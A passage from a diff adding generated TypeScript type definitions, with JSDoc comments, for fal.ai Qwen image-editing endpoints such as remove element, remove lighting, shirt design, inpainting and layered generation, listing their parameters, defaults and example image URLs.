6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the image containing elements to remove. + * @example ["https://v3b.fal.media/files/b/elephant/oWup_Q7zuvbfB4en-hneO_5aaa1cb3d3eb44999005159e82e7c9b7.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize304E0007 + | InputFalAiQwenImageEditPlusLoraGalleryRemoveElementImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryRemoveElementOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryRemoveElementAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image8B2D64B0 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryRemoveElement = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/koala/dTldnOpRSFVBvWiyfOeO1.png"}] + * @type array + */ + images: Image8B2D64B0[] +} + +export type ImageSize84162327 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryRemoveLightingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryRemoveLightingImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveLightingImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveLightingImageSize] + +export const inputFalAiQwenImageEditPlusLoraGalleryRemoveLightingOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryRemoveLightingOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveLightingOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveLightingOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryRemoveLightingAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryRemoveLightingAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveLightingAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveLightingAccelerationEnum] + +/** + * @description Input model for Remove Lighting endpoint - Remove existing lighting and apply soft even lighting + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryRemoveLighting = { + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the image with lighting/shadows to remove. + * @example ["https://v3b.fal.media/files/b/panda/J0XyFgb0AAgyUzmVFd0nr_5363c66361d94cea89333795d700165d.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize84162327 + | InputFalAiQwenImageEditPlusLoraGalleryRemoveLightingImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryRemoveLightingOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryRemoveLightingAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageDd9Ec6A2 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryRemoveLighting = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/monkey/D7FrWGFnb7t8fjiE9Cok4.png"}] + * @type array + */ + images: ImageDd9Ec6A2[] +} + +export type ImageSize36C100A1 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryShirtDesignOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryShirtDesignOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryShirtDesignOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryShirtDesignOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryShirtDesignImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryShirtDesignImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryShirtDesignImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryShirtDesignImageSize] + +export const inputFalAiQwenImageEditPlusLoraGalleryShirtDesignAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryShirtDesignAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryShirtDesignAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryShirtDesignAccelerationEnum] + +/** + * @description Input model for Shirt Design endpoint - Put designs/graphics on people's shirts + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryShirtDesign = { + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Describe what design to put on the shirt. The model will apply the design from your input image onto the person's shirt. + * @default 'Put this design on their shirt' + * @example Put this design on their shirt + * @example Apply this graphic to their t-shirt + * @example Place this logo on their shirt + * @type string | undefined + */ + prompt?: string + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryShirtDesignOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URLs of the images: first image is the person wearing a shirt, second image is the design/logo to put on the shirt. + * @example ["https://v3b.fal.media/files/b/tiger/1rq65RzrUwKtHLAwpEjq8_4ee388931b5142f1bd1f2e0a3cb2498e.png","https://github.com/fal-ai/fal-assets/blob/main/Logo%20Square.png?raw=true"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize36C100A1 + | InputFalAiQwenImageEditPlusLoraGalleryShirtDesignImageSizeKey + | null + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryShirtDesignAccelerationEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image3F272Af4 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryShirtDesign = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/panda/Y5wKKIEuFpRMEUQ8ZPy01.png"}] + * @type array + */ + images: Image3F272Af4[] +} + +export type ImageSizeBbd77F52 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiQwenImageEditImageToImageOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditImageToImageOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditImageToImageOutputFormatEnum] + +export const inputFalAiQwenImageEditImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditImageToImageImageSizeKey = + (typeof inputFalAiQwenImageEditImageToImageImageSize)[keyof typeof inputFalAiQwenImageEditImageToImageImageSize] + +export const inputFalAiQwenImageEditImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImageEditImageToImageAccelerationEnumKey = + (typeof inputFalAiQwenImageEditImageToImageAccelerationEnum)[keyof typeof inputFalAiQwenImageEditImageToImageAccelerationEnum] + +export type InputFalAiQwenImageEditImageToImage = { + /** + * @description Strength of the image-to-image transformation. Lower values preserve more of the original image. + * @minimum 0.01 + * @maximum 1 + * @default 0.94 + * @type number | undefined + */ + strength?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example blurry, ugly + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the image to edit. + * @example https://v3.fal.media/files/koala/oei_-iPIYFnhdB8SxojND_qwen-edit-res.png + * @type string + */ + image_url: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditImageToImageOutputFormatEnumKey + /** + * @description The prompt to generate the image with + * @example Change bag to apple macbook + * @type string + */ + prompt: string + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + */ + image_size?: + | ImageSizeBbd77F52 + | InputFalAiQwenImageEditImageToImageImageSizeKey + | null + /** + * @description Acceleration level for image generation. Options: 'none', 'regular'. Higher acceleration increases speed. 'regular' balances speed and quality. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditImageToImageAccelerationEnumKey +} + +export type Image4Aced0D6 = { + width: number + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string +} + +export type OutputFalAiQwenImageEditImageToImage = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @example [{"width":1024,"height":768,"content_type":"image/jpeg","url":"https://v3.fal.media/files/elephant/P-YCIAg6wtFn1hsF34fzL_qwen-edit.png"}] + * @type array + */ + images: Image4Aced0D6[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeBfaa3Dc6 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditInpaintOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiQwenImageEditInpaintOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditInpaintOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditInpaintOutputFormatEnum] + +export const inputFalAiQwenImageEditInpaintImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditInpaintImageSizeKey = + (typeof inputFalAiQwenImageEditInpaintImageSize)[keyof typeof inputFalAiQwenImageEditInpaintImageSize] + +export const inputFalAiQwenImageEditInpaintAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImageEditInpaintAccelerationEnumKey = + (typeof inputFalAiQwenImageEditInpaintAccelerationEnum)[keyof typeof inputFalAiQwenImageEditInpaintAccelerationEnum] + +export type InputFalAiQwenImageEditInpaint = { + /** + * @description Strength of noising process for inpainting + * @minimum 0.01 + * @maximum 1 + * @default 0.93 + * @type number | undefined + */ + strength?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example blurry, ugly + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the image to edit. + * @example https://storage.googleapis.com/falserverless/example_inputs/image_kontext_inpaint.jpeg + * @type string + */ + image_url: string + /** + * @description The URL of the mask for inpainting + * @example https://storage.googleapis.com/falserverless/example_inputs/mask_kontext_inpaint.png + * @type string + */ + mask_url: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditInpaintOutputFormatEnumKey + /** + * @description The prompt to generate the image with + * @example Change the ball to a black and white football + * @type string + */ + prompt: string + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + */ + image_size?: + | ImageSizeBfaa3Dc6 + | InputFalAiQwenImageEditInpaintImageSizeKey + | null + /** + * @description Acceleration level for image generation. Options: 'none', 'regular'. Higher acceleration increases speed. 'regular' balances speed and quality. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditInpaintAccelerationEnumKey +} + +export type ImageC93809Aa = { + width: number + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string +} + +export type OutputFalAiQwenImageEditInpaint = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @example [{"width":1024,"height":768,"content_type":"image/jpeg","url":"https://storage.googleapis.com/falserverless/example_outputs/qwen_edit_inpaint_output.png"}] + * @type array + */ + images: ImageC93809Aa[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiQwenImageLayeredOutputFormatEnum = { + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiQwenImageLayeredOutputFormatEnumKey = + (typeof inputFalAiQwenImageLayeredOutputFormatEnum)[keyof typeof inputFalAiQwenImageLayeredOutputFormatEnum] + +export const inputFalAiQwenImageLayeredAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImageLayeredAccelerationEnumKey = + (typeof inputFalAiQwenImageLayeredAccelerationEnum)[keyof typeof inputFalAiQwenImageLayeredAccelerationEnum] + +export type InputFalAiQwenImageLayered = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageLayeredOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The negative prompt to generate an image from. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageLayeredAccelerationEnumKey + /** + * @description The guidance scale to use for the image generation. + * @minimum 1 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of layers to generate. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type integer | undefined + */ + num_layers?: number + /** + * @description A caption for the input image. + */ + prompt?: string | null + /** + * @description The URL of the input image. + * @example https://v3b.fal.media/files/b/0a86d421/6xSMYtyW-fm2ciM6dHEgB.png + * @type string + */ + image_url: string +} + +export type ImageFile3492D0Cc = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageLayered = { + /** + * @description The generated image files info. + * @example [{"url":"https://v3b.fal.media/files/b/0a86d42c/7T3zJKciQ1cCzqR3ADLif.png"},{"url":"https://v3b.fal.media/files/b/0a86d42c/KVt5pIhe2dU-qZNC2Njo2.png"},{"url":"https://v3b.fal.media/files/b/0a86d42c/3BMMGMaHyA3Y7Q_kamIJ_.png"},{"url":"https://v3b.fal.media/files/b/0a86d42c/AY1BjZxhqS1jl-Pw2S1Tx.png"}] + * @type array + */ + images: ImageFile3492D0Cc[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used to generate the image. + */ + prompt?: string | null +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInput1A5Cad77 = { + /** + * @description URL, HuggingFace repo ID (owner/repo) to lora weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiQwenImageLayeredLoraOutputFormatEnum = { + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiQwenImageLayeredLoraOutputFormatEnumKey = + (typeof inputFalAiQwenImageLayeredLoraOutputFormatEnum)[keyof typeof inputFalAiQwenImageLayeredLoraOutputFormatEnum] + +export const inputFalAiQwenImageLayeredLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImageLayeredLoraAccelerationEnumKey = + (typeof inputFalAiQwenImageLayeredLoraAccelerationEnum)[keyof typeof inputFalAiQwenImageLayeredLoraAccelerationEnum] + +export type InputFalAiQwenImageLayeredLora = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageLayeredLoraOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The negative prompt to generate an image from. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput1A5Cad77[] + /** + * @description The guidance scale to use for the image generation. + * @minimum 1 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of layers to generate. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type integer | undefined + */ + num_layers?: number + /** + * @description A caption for the input image. + */ + prompt?: string | null + /** + * @description The URL of the input image. + * @example https://v3b.fal.media/files/b/0a86d421/6xSMYtyW-fm2ciM6dHEgB.png + * @type string + */ + image_url: string + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageLayeredLoraAccelerationEnumKey +} + +export type ImageFile8410D02F = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageLayeredLora = { + /** + * @description The generated image files info. + * @example [{"url":"https://v3b.fal.media/files/b/0a86d42c/7T3zJKciQ1cCzqR3ADLif.png"},{"url":"https://v3b.fal.media/files/b/0a86d42c/KVt5pIhe2dU-qZNC2Njo2.png"},{"url":"https://v3b.fal.media/files/b/0a86d42c/3BMMGMaHyA3Y7Q_kamIJ_.png"},{"url":"https://v3b.fal.media/files/b/0a86d42c/AY1BjZxhqS1jl-Pw2S1Tx.png"}] + * @type array + */ + images: ImageFile8410D02F[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used to generate the image. + */ + prompt?: string | null +} + +export type LoraWeight7E657C9C = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSize9Cdf515E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiQwenImageImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageImageToImageImageSizeKey = + (typeof inputFalAiQwenImageImageToImageImageSize)[keyof typeof inputFalAiQwenImageImageToImageImageSize] + +export const inputFalAiQwenImageImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImageImageToImageAccelerationEnumKey = + (typeof inputFalAiQwenImageImageToImageAccelerationEnum)[keyof typeof inputFalAiQwenImageImageToImageAccelerationEnum] + +export const inputFalAiQwenImageImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiQwenImageImageToImageOutputFormatEnumKey = + (typeof inputFalAiQwenImageImageToImageOutputFormatEnum)[keyof typeof inputFalAiQwenImageImageToImageOutputFormatEnum] + +export type InputFalAiQwenImageImageToImage = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use up to 3 LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight7E657C9C[] + /** + * @description Enable turbo mode for faster generation with high quality. When enabled, uses optimized settings (10 steps, CFG=1.2). + * @default false + * @example true + * @type boolean | undefined + */ + use_turbo?: boolean + /** + * @description The prompt to generate the image with + * @example Mount Fuji with purple japanese wisteria in the foreground, clear sky, peaceful spring day, soft natural light, landscape, painted with oil brush on a wood panel with abstract mixed colors + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The reference image to guide the generation. + * @example https://v3.fal.media/files/rabbit/KoIbq6nhDBDPxDQrivW-m.png + * @type string + */ + image_url: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The size of the generated image. By default, we will use the provided image for determining the image_size. + */ + image_size?: + | ImageSize9Cdf515E + | InputFalAiQwenImageImageToImageImageSizeKey + | null + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 250 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description Denoising strength. 1.0 = fully remake; 0.0 = preserve original. + * @minimum 0 